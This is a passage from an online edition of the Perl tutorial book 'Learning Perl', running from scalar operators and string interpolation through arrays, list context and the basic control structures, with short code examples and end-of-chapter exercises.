Here, the ++ operator is being used as a prefix operator; that is, the operator appears to the left of its operand. The autoincrement may also be used in a suffix form (to the right of its operand). In this case, the result of the expression is the old value of the variable before the variable is incremented. For example:

$c = 17;
$d = $c++; # $d is 17, but $c is now 18

Because the value of the operand changes, the operand must be a scalar variable, not just an expression. You cannot say ++16 to get 17, nor can you say ++($a+$b) to somehow get one more than the sum of $a and $b.

The autodecrement operator (--) is similar to the autoincrement operator, but subtracts one rather than adding one. Like the autoincrement operator, the autodecrement operator has a prefix and suffix form. For example:

$x = 12;
--$x;      # $x is now 11
$y = $x--; # $y is 11, and $x is now 10

The autoincrement and autodecrement operators also work on floating-point values. So autoincrementing a variable with the value 4.2 yields 5.2 as expected.[10]

[10] Autoincrement even works on strings. See Programming Perl or perlop (1) for that.

2.6.3 The chop and chomp Functions

A useful built-in function is chop. This function takes a single argument within its parentheses - the name of a scalar variable - and removes the last character from the string value of that variable. For example:

$x = "hello world";
chop($x); # $x is now "hello worl"

Note that the value of the argument is altered here, hence the requirement for a scalar variable, rather than simply a scalar value. It would not make sense, for example, to write chop('suey') to change it to 'sue', because there is no place in which to save the value. Besides, you could have just written 'sue' instead.

The value returned is the discarded character (the letter d in world above). This means that the following code is probably wrong:

$x = chop($x);  # WRONG: replaces $x with its last character
chop($x);       # RIGHT: as above, removes the last character

If chop is given an empty string, it does nothing, and returns nothing, and doesn't raise an error or even whimper a bit.[11] Most operations in Perl have sensible boundary conditions; in other words, you can use them right up to the edges (and beyond), frequently without complaint. Some have argued that this is one of Perl's fundamental flaws, while others write screaming programs without having to worry about the fringes. You decide which camp you wish to join.

[11] Unless you are using the sanity-saving -w switch

When you chop a string that has already been chopped, another character disappears off into "bit heaven." For example:

$a = "hello world\n";
chop $a; # $a is now "hello world"
chop $a; # oops! $a is now "hello worl"

If you're not sure whether the variable has a newline on the end, you can use the slightly safer chomp operator, which removes only a newline character,[12] like so:

$a = "hello world\n";
chomp ($a); # $a is now "hello world"
chomp ($a); # aha! no change in $a

[12] Or whatever the input record separator $/is set to.

2.6.4 Interpolation of Scalars into Strings

When a string literal is double-quoted, it is subject to variable interpolation (besides being checked for backslash escapes). This means that the string is scanned for possible scalar variable[13] names - namely, a dollar sign followed by letters, digits, and underscores. When a variable reference is found, it is replaced with its current value (or an empty string if the variable has not yet been assigned a value). For example:

$a = "fred";
$b = "some text $a";             # $b is now "some text fred"
$c = "no such variable $what";   # $c is "no such variable "

[13] And array variables, but we won't discuss those until Chapter 3, Arrays and List Data .

The text that replaces the variable is not rescanned; that is, even if there are dollar signs in the replaced value, no further replacement occurs:

$x = '$fred';  # literally a dollar sign followed by "fred"
$y = "hey $x"; # value is 'hey $fred': no double substitution

To prevent the substitution of a variable with its value, you must either alter that part of the string so that it appears in single quotes, or precede the dollar sign with a backslash, which turns off the dollar sign's special significance:

$fred   = 'hi';
$barney = "a test of " . '$fred'; # literally: 'a test of $fred'
$barney2= "a test of \$fred";     # same thing

The variable name will be the longest possible variable name that makes sense at that part of the string. This can be a problem if you want to follow the replaced value immediately with some constant text that begins with a letter, digit, or underscore. As Perl scans for variable names, it would consider those characters to be additional name characters, which is not what you want. Perl provides a delimiter for the variable name. Simply enclose the name of the variable in a pair of curly braces. Or, you can end that part of the string and start another part of the string with a concatenation operator:

$fred   = "pay"; $fredday = "wrong!";
$barney = "It's $fredday";          # not payday, but "It's wrong!"
$barney = "It's ${fred}day";        # now, $barney gets "It's payday"
$barney2 = "It's $fred"."day";      # another way to do it
$barney3 = "It's " . $fred . "day"; # and another way

The case-shifting string escapes can be used to alter the case of letters brought in with variable interpolation.[14] For example:

$bigfred   = "\Ufred";                     # $bigfred is "FRED"
$fred      = "fred"; $bigfred = "\U$fred"; # same thing
$capfred   = "\u$fred";                    # $capfred is "Fred"
$barney    = "\LBARNEY";                   # $barney is now "barney"
$capbarney = "\u\LBARNEY";                 # $capbarney is now "Barney"
$bigbarney = "BARNEY"; $capbarney = "\u\L$bigbarney"; # same

[14] You may find the uc, ucfirst, lc, and lcfirst functions easier to use.

As you can see, the case-shifting string escapes are remembered within a string until they are used, so even though the first letter of BARNEY doesn't follow the \u, it remains uppercase because of the \u.

The term variable interpolation is often used interchangeably with double-quote interpolation, because strings that are double-quoted are subject to variable interpolation. So too, are backquoted strings, described in Chapter 14.

Previous: 2.5 Scalar Variables | Learning Perl | Next: 2.7 <STDIN> as a Scalar Value
2.5 Scalar Variables | Book Index | 2.7 <STDIN> as a Scalar Value


[Chapter 2] 2.7 <STDIN> as a Scalar Value

Learning PerlSearch this book

2.7 <STDIN> as a Scalar Value

At this point, if you're a typical code hacker, you're probably wondering how to get a value into a Perl program. Here's the simplest way. Each time you use <STDIN> in a place where a scalar value is expected, Perl reads the next complete text line from standard input (up to the first newline), and uses that string as the value of <STDIN>. Standard input can mean many things, but unless you do something odd, it means the terminal of the user who invoked your program (probably you). If there's nothing waiting to be read (typically the case, unless you type ahead a complete line), the Perl program will stop and wait for you to enter some characters followed by a newline (return).

The string value of <STDIN> typically has a newline on the end of it. Most often, you'll want to get rid of that newline right away (there's a big difference between hello and hello\n). This is where our friend, the chomp function, comes to the rescue. A typical input sequence goes something like this:

$a = <STDIN>;  # get the text
chomp($a);     # get rid of that pesky newline

A common abbreviation for these two lines is:

chomp($a = <STDIN>);

The assignment inside the parentheses continues to refer to $a, even after it has been given a value with <STDIN>. Thus, the chomp function is working on $a. (This is true in general about the assignment operator; an assignment expression can be used wherever a variable is needed, and the actions refer to the variable on the left side of the equal sign.)

Previous: 2.6 Scalar Operators and Functions | Learning Perl | Next: 2.8 Output with print
2.6 Scalar Operators and Functions | Book Index | 2.8 Output with print


[Chapter 2] 2.8 Output with print

Learning PerlSearch this book

2.8 Output with print

So, we get things in with <STDIN>. How do we get things out? With the print function. This function takes the values within its parentheses and puts them out without any embellishment onto standard output. Once again, unless you've done something odd, this will be your terminal. For example:

print("hello world\n"); # say hello world, followed by newline
print "hello world\n";  # same thing

Note that the second example shows the form of print without parentheses. Whether or not to use the parentheses is mostly a matter of style and typing agility, although there are a few cases where you'll need the parentheses to remove ambiguity.

We'll see that you can actually give print a list of values, in Section 6.3.1, "Using print for Normal Output", but we haven't talked about lists yet, so we'll put that off for later.

Previous: 2.7 <STDIN> as a Scalar Value | Learning Perl | Next: 2.9 The Undefined Value
2.7 <STDIN> as a Scalar Value | Book Index | 2.9 The Undefined Value


[Chapter 2] 2.9 The Undefined Value

Learning PerlSearch this book

2.9 The Undefined Value

What happens if you use a scalar variable before you give it a value? Nothing serious, and definitely nothing fatal. Variables have the undef value before they are first assigned. This value looks like a zero when used as a number, or the zero-length empty string when used as a string. You will get a warning under Perl's -w switch, though, which is a good way to catch programming errors.

Many operators return undef when the arguments are out of range or don't make sense. If you don't do anything special, you'll get a zero or a null string without major consequences. In practice, this is hardly a problem.

One operation we've seen that returns undef under certain circumstances is <STDIN>. Normally, this returns the next line that was read; however, if there are no more lines to read (such as when you type CTRL-D at the terminal, or when a file has no more data), <STDIN> returns undef as a value. In Chapter 6, we'll see how to test for this and take special action when there is no more data available to read.

Previous: 2.8 Output with print | Learning Perl | Next: 2.10 Exercises
2.8 Output with print | Book Index | 2.10 Exercises


[Chapter 2] 2.10 Exercises

Learning PerlSearch this book

2.10 Exercises

See Appendix A, Exercise Answers for answers.

  1. Write a program that computes the circumference of a circle with a radius of 12.5. The circumference is 2 [pi] times the radius, or about 2 times 3.141592654 times the radius.

  2. Modify the program from the previous exercise to prompt for and accept a radius from the person running the program.

  3. Write a program that prompts for and reads two numbers, and prints out the result of the two numbers multiplied together.

  4. Write a program that reads a string and a number, and prints the string the number of times indicated by the number on separate lines. (Hint: use the "x" operator.)

Previous: 2.9 The Undefined Value | Learning Perl | Next: 3. Arrays and List Data
2.9 The Undefined Value | Book Index | 3. Arrays and List Data


[Chapter 3] Arrays and List Data

Learning PerlSearch this book
Previous: 2.10 Exercises Chapter 3 Next: 3.2 Literal Representation

3. Arrays and List Data

Contents:
What Is a List or Array?
Literal Representation
Variables
Array Operators and Functions
Scalar and List Context
<STDIN> as an Array
Variable Interpolation of Arrays
Exercises

3.1 What Is a List or Array?

A list is ordered scalar data. An array is a variable that holds a list. Each element of the array is a separate scalar variable with an independent scalar value. These values are ordered; that is, they have a particular sequence from the lowest to the highest element.

Arrays can have any number of elements. The smallest array has no elements, while the largest array can fill all of available memory. Once again, this is in keeping with Perl's philosophy of "no unnecessary limits."

Previous: 2.10 Exercises | Learning Perl | Next: 3.2 Literal Representation
2.10 Exercises | Book Index | 3.2 Literal Representation


[Chapter 3] 3.2 Literal Representation

Learning PerlSearch this book

3.2 Literal Representation

A list literal (the way you represent the value of a list within your program) consists of comma-separated values enclosed in parentheses. These values form the elements of the list. For example:

(1,2,3)             # array of three values 1, 2, and 3
("fred",4.5)        # two values, "fred" and 4.5

The elements of a list are not necessarily constants; they can be expressions that will be reevaluated each time the literal is used. For example:

($a,17);            # two values: the current value of $a, and 17
($b+$c,$d+$e)       # two values

The empty list (one of no elements) is represented by an empty pair of parentheses:

() # the empty list (zero elements)

An item of the list literal can include the list constructor operator, indicated by two scalar values separated by two consecutive periods. This operator creates a list of values starting at the left scalar value up through the right scalar value, incrementing by one each time. For example:

(1 .. 5)            # same as (1, 2, 3, 4, 5)
(1.2 .. 5.2)        # same as (1.2, 2.2, 3.2, 4.2, 5.2)
(2 .. 6,10,12)      # same as (2,3,4,5,6,10,12)
($a .. $b)          # range determined by current values of $a and $b

Having the right scalar less than the left scalar results in an empty list; you can't count down by switching the order of the values. If the final value is not a whole number of steps above the initial value, the list stops just before the next value would have been outside the range:

(1.3 .. 6.1) # same as (1.3,2.3,3.3,4.3,5.3)

List literals with lots of short text strings start to look pretty noisy with all the quotes and commas:

@a = ("fred","barney","betty","wilma"); # ugh!

So there's a shortcut: the "quote word" function, which creates a list from the nonwhitespace parts between the parentheses:[1]

@a = qw(fred barney betty wilma); # better!
@a = qw(
    fred
    barney
    betty
    wilma
);                                # same thing

[1] Actually, like the pattern-matching functions we'll learn about later, you could use any nonwhitespace, nonalphanumeric character as the delimiter instead of parentheses.

One use of a list literal is as arguments to the print function introduced earlier. Elements of the list are printed out without any intervening whitespace:

print("The answer is ",@a,"\n");

This statement prints The answer is followed by a space, the value of @a, and a newline. Stay tuned for other uses for list literals.

Previous: 3.1 What Is a List or Array? | Learning Perl | Next: 3.3 Variables
3.1 What Is a List or Array? | Book Index | 3.3 Variables


[Chapter 3] 3.3 Variables

Learning PerlSearch this book

3.3 Variables

An array variable holds a single list value (zero or more scalar values). Array variable names are similar to scalar variable names, differing only in the initial character, which is an at sign (@) rather than a dollar sign ($). For example:

@fred # the array variable @fred
@A_Very_Long_Array_Variable_Name
@A_Very_Long_Array_Variable_Name_that_is_different

Note that the array variable @fred is unrelated to the scalar variable $fred. Perl maintains separate namespaces for different types of things.

The value of an array variable that has not yet been assigned is (), the empty list.

An expression can refer to array variables as a whole, or it can examine and modify individual elements of the array.

Previous: 3.2 Literal Representation | Learning Perl | Next: 3.4 Array Operators and Functions
3.2 Literal Representation | Book Index | 3.4 Array Operators and Functions


[Chapter 3] 3.4 Array Operators and Functions

Learning PerlSearch this book

3.4 Array Operators and Functions

Array functions and operators act on entire arrays. Some return a list, which can then either be used as a value for another array function, or assigned into an array variable.

3.4.1 Assignment

Probably the most important array operator is the array assignment operator, which gives an array variable a value. It is an equal sign, just like the scalar assignment operator. Perl determines whether the assignment is a scalar assignment or an array assignment by noticing whether the assignment is to a scalar or an array variable. For example:

@fred = (1,2,3); # The fred array gets a three-element literal
@barney = @fred; # now that is copied to @barney

If a scalar value is assigned to an array variable, the scalar value becomes the single element of an array:

@huh = 1; # 1 is promoted to the list (1) automatically

Array variable names may appear in a list literal list. When the value of the list is computed, Perl replaces the names with the current values of the array, like so:

@fred = qw(one two);
@barney = (4,5,@fred,6,7); # @barney becomes
                           # (4,5,"one","two",6,7)
@barney = (8,@barney);     # puts 8 in front of @barney
@barney = (@barney,"last");# and a "last" at the end
                        # @barney is now (8,4,5,"one","two",6,7,"last")

Note that the inserted array elements are at the same level as the rest of the literal: a list cannot contain another list as an element.[2]

[2] Although a list reference is permitted as a list element, it's not really a list as a list element. Still, it works out to nearly the same thing, allowing for multidimensional arrays. See Chapter 4 of Programming Perl or perllol (1) for details.

If a list literal contains only variable references (not expressions), the list literal can also be treated as a variable. In other words, such a list literal can be used on the left side of an assignment. Each scalar variable in the list literal takes on the corresponding value from the list on the right side of the assignment. For example:

($a,$b,$c) = (1,2,3);    # give 1 to $a, 2 to $b, 3 to $c
($a,$b) = ($b,$a);       # swap $a and $b
($d,@fred) = ($a,$b,$c); # give $a to $d, and ($b,$c) to @fred
($e,@fred) = @fred;      # remove first element of @fred to $e
                         # this makes @fred = ($c) and $e = $b

If the number of elements being assigned does not match the number of variables to hold the values, any excess values (on the right side of the equal sign) are silently discarded, and any excess variables (on the left side of the equal sign) are given the value of undef.

An array variable appearing in the array literal list must be last, because the array variable is "greedy" and consumes all remaining values. (Well, you could put other variables after it, but they would just get undef values.)

If an array variable is assigned to a scalar variable, the number assigned is the length of the array, as in:

@fred = (4,5,6);   # initialize @fred
$a = @fred;        # $a gets 3, the current length of @fred

The length is also returned whenever an array variable name is used where a scalar value is needed. (In the upcoming section called "Scalar and List Context," we'll see that this is called using the array name in a scalar context.) For example, to get one less than the length of the array, you can use @fred-1, since the scalar subtraction operator wants scalars for both of its operands. Notice the following:

$a = @fred;    # $a gets the length of @fred
($a) = @fred;  # $a gets the first element of @fred

The first assignment is a scalar assignment, and so @fred is treated as a scalar, yielding its length. The second assignment is an array assignment (even if only one value is wanted), and thus yields the first element of @fred, silently discarding all the rest.

The value of an array assignment is itself a list value, and can be cascaded as you can with scalar assignments. For example:

@fred = (@barney =  (2,3,4));    # @fred and @barney get (2,3,4)
@fred = @barney =  (2,3,4);    # same thing

3.4.2 Array Element Access

So far, we've been treating the array as a whole, adding and removing values by doing array assignments. Many useful programs are constructed using arrays without ever accessing any specific array element. However, Perl provides a traditional subscripting function to access an array element by numeric index.

For the subscripting function, array elements are numbered using sequential integers, beginning at zero[3] and increasing by one for each element. The first element of the @fred array is accessed as $fred[0]. Note that the @ on the array name becomes a $ on the element reference. This is because accessing an element of the array identifies a scalar variable (part of the array), which can either be assigned to or have its current value used in an expression, like so:

@fred = (7,8,9);
$b = $fred[0];  # give 7 to $b (first element of @fred)
$fred[0] = 5;   # now @fred = (5,8,9)

[3] It's possible to change the index value of the first element to something else (like "1"). However, doing so has drastic effects, will probably confuse people maintaining your code, and might break the routines you take from other people. Thus, it's highly recommended that you consider this an unusable feature.

Other elements can be accessed with equal ease, as in:

$c = $fred[1];                   # give 8 to $c
$fred[2]++;                      # increment the third element of @fred
$fred[1] += 4;                   # add 4 to the second element
($fred[0],$fred[1]) = ($fred[1],$fred[0]); # swap the first two

Accessing a list of elements from the same array (as in that last example) is called a slice, and occurs often enough that there is a special representation for it:

@fred[0,1];                 # same as ($fred[0],$fred[1])
@fred[0,1] = @fred[1,0];    # swap the first two elements
@fred[0,1,2] = @fred[1,1,1];# make all 3 elements like the 2nd
@fred[1,2] = (9,10);        # change the last two values to 9 and 10

Note that this slice uses an @ prefix rather than a $. This is because you are creating an array variable by selecting part of the array rather than a scalar variable accessing just one element.

Slices also work on literal lists, or any function that returns a list value:

@who = (qw(fred barney betty wilma))[2,3];
# like @x = qw(fred barney betty wilma); @who = @x[2,3];

The index values in these examples have been literal integers, but the index can also be any expression that returns a number, which is then used to select the appropriate element:

@fred = (7,8,9);
$a = 2;
$b = $fred[$a];       # like $fred[2], or the value of 9
$c = $fred[$a-1];     # $c gets $fred[1], or 8
($c) = (7,8,9)[$a-1]; # same thing using slice

Perl programs can thus have array accesses similar to many traditional programming languages.

This idea of using an expression for the subscript also works for slices. Remember, however, that the subscript for a slice is a list of values, so the expression is an array expression, rather than a scalar expression.

@fred = (7,8,9); # as in previous example
@barney = (2,1,0);
@backfred = @fred[@barney];
# same as @fred[2,1,0], or ($fred[2],$fred[1],$fred[0]), or
# (9,8,7)

If you access an array element beyond the end of the current array (that is, an index of greater than the last element's index), the undef value is returned without warning. For example:

@fred = (1,2,3);
$barney = $fred[7]; # $barney is now undef

Assigning a value beyond the end of the current array automatically extends the array (giving a value of undef to all intermediate values, if any). For example:

@fred = (1,2,3);
$fred[3] = "hi"; # @fred is now (1,2,3,"hi")
$fred[6] = "ho"; # @fred is now (1,2,3,"hi",undef,undef,"ho")

You can use $#fred to get the index value of the last element of @fred. You can even assign this value to change the length of @fred, making it grow or shrink, but that's generally unnecessary, because the array grows and shrinks automatically.

A negative subscript on an array counts back from the end. So, another way to get at the last element is with the subscript -1. The second to the last element would be -2, and so on. For example:

@fred = ("fred", "wilma", "pebbles", "dino");
print $fred[-1];        # prints "dino"
print $#fred;           # prints 3
print $fred[$#fred];    # prints "dino"

3.4.3 The push and pop Functions

One common use of an array is as a stack of information, where new values are added to and removed from the right-hand side of the list. These operations occur often enough to have their own special functions:

push(@mylist,$newvalue);    # like @mylist = (@mylist,$newvalue)
$oldvalue = pop(@mylist);   # removes the last element of @mylist

The pop function returns undef if given an empty list, rather than doing something un-Perl-like such as complaining or generating a warning message.

The push function also accepts a list of values to be pushed. The values are pushed together onto the end of the list. For example:

@mylist = (1,2,3);
push(@mylist,4,5,6); # @mylist = (1,2,3,4,5,6)

Note that the first argument must be an array variable name; pushing and popping wouldn't make sense on a literal list.

3.4.4 The shift and unshift Functions

The push and pop functions do things to the "right" side of a list (the portion with the highest subscripts). Similarly, the unshift and shift functions perform the corresponding actions on the "left" side of a list (the portion with the lowest subscripts). Here are a few examples:

unshift(@fred,$a);       # like @fred = ($a,@fred);
unshift(@fred,$a,$b,$c); # like @fred = ($a,$b,$c,@fred);
$x = shift(@fred);       # like ($x,@fred) = @fred;
                         # with some real values
@fred = (5,6,7);
unshift(@fred,2,3,4);    # @fred is now (2,3,4,5,6,7)
$x = shift(@fred);       # $x gets 2, @fred is now (3,4,5,6,7)

As with pop, shift returns undef if given an empty array variable.

3.4.5 The reverse Function

The reverse function reverses the order of the elements of its argument, returning the resulting list. For example:

@a = (7,8,9);
@b = reverse(@a);    # gives @b the value of (9,8,7)
@b = reverse(7,8,9); # same thing

Note that the argument list is unaltered; the reverse function works on a copy. If you want to reverse an array "in place," you'll need to assign it back into the same variable:

@b = reverse(@b); # give @b the reverse of itself

3.4.6 The sort Function

The sort function takes its arguments, and sorts them as if they were single strings in ascending ASCII order. It returns the sorted list without altering the original list. For example:

@x = sort("small","medium","large");
               # @x gets "large","medium","small"
@y = (1,2,4,8,16,32,64);
@y = sort(@y); # @y gets 1,16,2,32,4,64,8

Note that sorting numbers does not happen numerically, but by the string values of each number (1, 16, 2, 32, and so on). In Section 15.4, "Advanced Sorting", you'll learn how to sort numerically, or in descending order, or by the third character of each string, or by any other method that you choose.

3.4.7 The chomp Function

The chomp function works on an array variable as well as a scalar variable. Each element of the array has its last record separator removed. This can be handy when you've read a list of lines as separate array elements, and you want to remove the newline from each of the lines at once. For example:

@stuff = ("hello\n","world\n","happy days");
chomp(@stuff); # @stuff is now ("hello","world","happy days")

Previous: 3.3 Variables | Learning Perl | Next: 3.5 Scalar and List Context
3.3 Variables | Book Index | 3.5 Scalar and List Context


[Chapter 3] 3.5 Scalar and List Context

Learning PerlSearch this book

3.5 Scalar and List Context

As you can see, each operator and function is designed to operate on some specified combination of scalars or lists, and returns either a scalar or a list. If an operator or function expects an operand to be a scalar, we say that the operand or argument is being evaluated in a scalar context. Similarly, if an operand or argument is expected to be a list value, we say that it is being evaluated in a list context.

Normally, this is fairly insignificant. But sometimes you get completely different behavior depending on whether you are within a scalar or a list context. For example, @fred returns the contents of the @fred array in a list context, but the length of the same array in a scalar context. These subtleties are mentioned when each operator and function is described.

A scalar value used within a list context is promoted to a single-element array.

Previous: 3.4 Array Operators and Functions | Learning Perl | Next: 3.6 <STDIN> as an Array
3.4 Array Operators and Functions | Book Index | 3.6 <STDIN> as an Array


[Chapter 3] 3.6 <STDIN> as an Array

Learning PerlSearch this book

3.6 <STDIN> as an Array

One previously seen operation that returns a different value in a list context is <STDIN>. As described earlier, <STDIN> returns the next line of input in a scalar context. However, in a list context, it returns all remaining lines up to end of file. Each line is returned as a separate element of the list. For example:

@a = <STDIN>; # read standard input in a list context

If the person running the program types three lines, then presses CTRL-D[4] (to indicate "end of file"), the array ends up with three elements. Each element will be a string that ends in a newline, corresponding to the three newline-terminated lines entered.

[4] Some systems use CTRL-Z to indicate end of file, while others use it to suspend a running process.

Previous: 3.5 Scalar and List Context | Learning Perl | Next: 3.7 Variable Interpolation of Arrays
3.5 Scalar and List Context | Book Index | 3.7 Variable Interpolation of Arrays


[Chapter 3] 3.7 Variable Interpolation of Arrays

Learning PerlSearch this book

3.7 Variable Interpolation of Arrays

Like scalars, array values may be interpolated into a double-quoted string. A single element of an array will be replaced by its value, like so:

@fred = ("hello","dolly");
$y = 2;
$x = "This is $fred[1]'s place";     # "This is dolly's place"
$x = "This is $fred[$y-1]'s place";  # same thing

Note that the index expression is evaluated as an ordinary expression, as if it were outside a string. It is not variable interpolated first.

If you want to follow a simple scalar variable reference with a literal left square bracket, you need to delimit the square bracket so it isn't considered part of the array, as follows:

@fred = ("hello","dolly");  # give value to @fred for testing
$fred = "right";
                            # we are trying to say "this is right[1]"
$x = "this is $fred[1]";    # wrong, gives "this is dolly"
$x = "this is ${fred}[1]";  # right (protected by braces)
$x = "this is $fred"."[1]"; # right (different string)
$x = "this is $fred\[1]";   # right (backslash hides it)

Similarly, a list of values from an array variable can be interpolated. The simplest interpolation is an entire array, indicated by giving the array name (including its leading @ character). In this case, the elements are interpolated in sequence with a space character between them, as in:

@fred = ("a","bb","ccc",1,2,3);
$all = "Now for @fred here!";
    # $all gets "Now for a bb ccc 1 2 3 here!"

You can also select a portion of an array with a slice:

@fred = ("a","bb","ccc",1,2,3);
$all = "Now for @fred[2,3] here!";
                                      # $all gets "Now for ccc 1 here!"
$all = "Now for @fred[@fred[4,5]] here!"; # same thing

Once again, you can use any of the quoting mechanisms described earlier if you want to follow an array name reference with a literal left bracket rather than an indexing expression.

Previous: 3.6 <STDIN> as an Array | Learning Perl | Next: 3.8 Exercises
3.6 <STDIN> as an Array | Book Index | 3.8 Exercises


[Chapter 3] 3.8 Exercises

Learning PerlSearch this book

3.8 Exercises

See Appendix A, Exercise Answers for answers.

  1. Write a program that reads a list of strings on separate lines and prints out the list in reverse order. If you're reading the list from the terminal, you'll probably need to delimit the end of the list by pressing your end-of-file character, probably CTRL-D under UNIX or Plan 9; often CTRL-Z elsewhere.

  2. Write a program that reads a number and then a list of strings (all on separate lines), and then prints one of the lines from the list as selected by the number.

  3. Write a program that reads a list of strings and then selects and prints a random string from the list. To select a random element of @somearray, put

         srand;

    at the beginning of your program (this initializes the random-number generator), and then use

         rand(@somearray)

    where you need a random value between zero and one less than the length of @somearray.

Previous: 3.7 Variable Interpolation of Arrays | Learning Perl | Next: 4. Control Structures
3.7 Variable Interpolation of Arrays | Book Index | 4. Control Structures


[Chapter 4] Control Structures

Learning PerlSearch this book
Previous: 3.8 Exercises Chapter 4 Next: 4.2 The if/unless Statement

4. Control Structures

Contents:
Statement Blocks
The if/unless Statement
The while/until Statement
The for Statement
The foreach Statement
Exercises

4.1 Statement Blocks

A statement block is a sequence of statements, enclosed in matching curly braces. It looks like this:

{
    first_statement;
    second_statement;
    third_statement;
    ...
    last_statement;
}

Perl executes each statement in sequence, from the first to the last. (Later, I'll show you how to alter this execution sequence within a block, but this is good enough for now.)

Syntactically, a block of statements is accepted in place of any single statement, but the reverse is not true.

The final semicolon on the last statement is optional. Thus, you can speak Perl with a C-accent (semicolon present) or Pascal-accent (semicolon absent). To make it easier to add more statements later, we usually suggest omitting the semicolon only when the block is all on one line. Contrast these two if blocks for examples of the two styles:

    if ($ready) { $hungry++ }
    if ($tired) {
        $sleepy = ($hungry + 1) * 2;
}

Previous: 3.8 Exercises | Learning Perl | Next: 4.2 The if/unless Statement
3.8 Exercises | Book Index | 4.2 The if/unless Statement


[Chapter 4] 4.2 The if/unless Statement

Learning PerlSearch this book

4.2 The if/unless Statement

Next up in order of complexity is the if statement. This construct takes a control expression (evaluated for its truth) and a block. It may optionally have an else followed by a block as well. In other words, it looks like this:

if (some_expression) {
    true_statement_1;
    true_statement_2;
    true_statement_3;
} else {
    false_statement_1;
    false_statement_2;
    false_statement_3;
}

(If you're a C or Java hacker, you should note that the curly braces are required. This eliminates the need for a "confusing dangling else" rule.)

During execution, Perl evaluates the control expression. If the expression is true, the first block (the true_statement statements above) is executed. If the expression is false, the second block (the false_statement statements above) is executed instead.

But what constitutes true and false? In Perl, the rules are slightly weird, but they give you the expected results. The control expression is evaluated for a string value in scalar context (if it's already a string, no change, but if it's a number, it is converted to a string[1]). If this string is either the empty string (with a length of zero), or a string consisting of the single character "0" (the digit zero), then the value of the expression is false. Anything else is true automatically. Why such funny rules? Because it makes it easy to branch on an emptyish versus nonempty string, as well as a zero versus nonzero number, without having to create two versions of interpreting true and false values. Here are some examples of true and false interpretations:

0       # converts to "0", so false
1-1     # computes to 0, then converts to "0", so false
1       # converts to "1", so true
""      # empty string, so false
"1"     # not "" or "0", so true
"00"    # not "" or "0", so true (this is weird, watch out)
"0.000" # also true for the same reason and warning
undef   # evaluates to "", so false

[1] Internally, this isn't quite true. But it acts like this is what it does.

Practically speaking, interpretation of values as true or false is fairly intuitive. Don't let us scare you.

Here's an example of a complete if statement:

print "how old are you? ";
$a = <STDIN>;
chomp($a);
if ($a < 18) {
    print "So, you're not old enough to vote, eh?\n";
} else {
    print "Old enough!  Cool!  So go vote!\n";
    $voter++; # count the voters for later
}

You can omit the else block, leaving just a "then" part, as in:

print "how old are you? ";
$a = <STDIN>;
chomp($a);
if ($a < 18) {
        print "So, you're not old enough to vote, eh?\n";
}

Sometimes, you want to leave off the "then" part and have just an else part, because it is more natural to say "do that if this is false," rather than "do that if not this is true." Perl handles this with the unless variation:

print "how old are you? ";
$a = <STDIN>;
chomp($a);
unless ($a < 18) {
    print "Old enough!  Cool!  So go vote!\n";
    $voter++;
}

Replacing if with unless is in effect saying "If the control expression is false, do...." (An unless can also have an else, just like an if.)

If you have more than two possible choices, add an elsif branch to the if statement, like so:

if (some_expression_one) {
    one_true_statement_1;
    one_true_statement_2;
    one_true_statement_3;
} elsif (some_expression_two) {
    two_true_statement_1;
    two_true_statement_2;
    two_true_statement_3;
} elsif (some_expression_three) {
    three_true_statement_1;
    three_true_statement_2;
    three_true_statement_3;
} else {
    all_false_statement_1;
    all_false_statement_2;
    all_false_statement_3;
}

Each expression (here, some_expression_one, some_expression_two, and some_expression_three) is computed in turn. If an expression is true, the corresponding branch is executed, and all remaining control expressions and corresponding statement blocks are skipped. If all expressions are false, the else branch is executed (if there is one). You don't have to have an else block, but it is always a good idea. You may have as many elsif branches as you wish.

Previous: 4.1 Statement Blocks | Learning Perl | Next: 4.3 The while/until Statement
4.1 Statement Blocks | Book Index | 4.3 The while/until Statement


[Chapter 4] 4.3 The while/until Statement

Learning PerlSearch this book

4.3 The while/until Statement

No programming language would be complete without some form of iteration[2] (repeated execution of a block of statements). Perl can iterate using the while statement:

while (some_expression) {
    statement_1;
    statement_2;
    statement_3;
}

[2] That's why HTML is not a programming language.

To execute this while statement, Perl evaluates the control expression (some_expression in the example). If its value is true (using Perl's notion of truth), the body of the while statement is evaluated once. This is repeated until the control expression becomes false, at which point Perl goes on to the next statement after the while loop. For example:

print "how old are you? ";
$a = <STDIN>;
chomp($a);
while ($a > 0) {
    print "At one time, you were $a years old.\n";
    $a--;
}

Sometimes it is easier to say "until something is true" rather than "while not this is true." Once again, Perl has the answer. Replacing the while with until yields the desired effect:

until (some_expression) {
    statement_1;
    statement_2;
    statement_3;
}

Note that in both the while and the until form, the body statements will be skipped entirely if the control expression is the termination value to begin with. For example, if a user enters an age less than zero for the program fragment above, Perl skips over the body of the loop.

It's possible that the control expression never lets the loop exit. This is perfectly legal, and sometimes desired, and thus not considered an error. For example, you might want a loop to repeat as long as you have no error, and then have some error-handling code following the loop. You might use this for a daemon that is meant to run until the system crashes.

4.3.1 The do {} while/until Statement

The while/until statement you saw in the previous section tests its condition at the top of every loop, before the loop is entered. If the condition was already false to begin with, the loop won't be executed at all.

But sometimes you don't want to test the condition at the top of the loop. Instead, you want to test it at the bottom. To fill this need, Perl provides the do {} while statement, which is just like[3] the regular while statement except that it doesn't test the expression until after executing the loop once.

do {
    statement_1;
    statement_2;
    statement_3;
} while some_expression;

[3] Well, not quite just like; the loop control directives explained in Chapter 9, Miscellaneous Control Structures, don't work for the bottom-testing form.

Perl executes the statements in the do block.When it reaches the end, it evaluates the expression for truth. If the expression is false, the loop is done. If it's true, then the whole block is executed one more time before the expression is once again checked.

As with a normal while loop, you can invert the sense of the test by changing do {} while to do {} until. The expression is still tested at the bottom, but its sense is reversed. For some cases, especially compound ones, this is the more natural way to write the test.

$stops = 0;
do {
    $stops++;
    print "Next stop? ";
    chomp($location = <STDIN>);
} until $stops > 5 || $location eq 'home';

Previous: 4.2 The if/unless Statement | Learning Perl | Next: 4.4 The for Statement
4.2 The if/unless Statement | Book Index | 4.4 The for Statement


[Chapter 4] 4.4 The for Statement

Learning PerlSearch this book

4.4 The for Statement

Another Perl iteration construct is the for statement, which looks suspiciously like C or Java's for statement and works roughly the same way. Here it is:

for ( initial_exp; test_exp; re-init_exp ) {
    statement_1;
    statement_2;
    statement_3;
}

Unraveled into forms we've seen before, this turns out as:

initial_exp;
while (test_exp) {
    statement_1;
    statement_2;
    statement_3;
    re-init_exp;
}

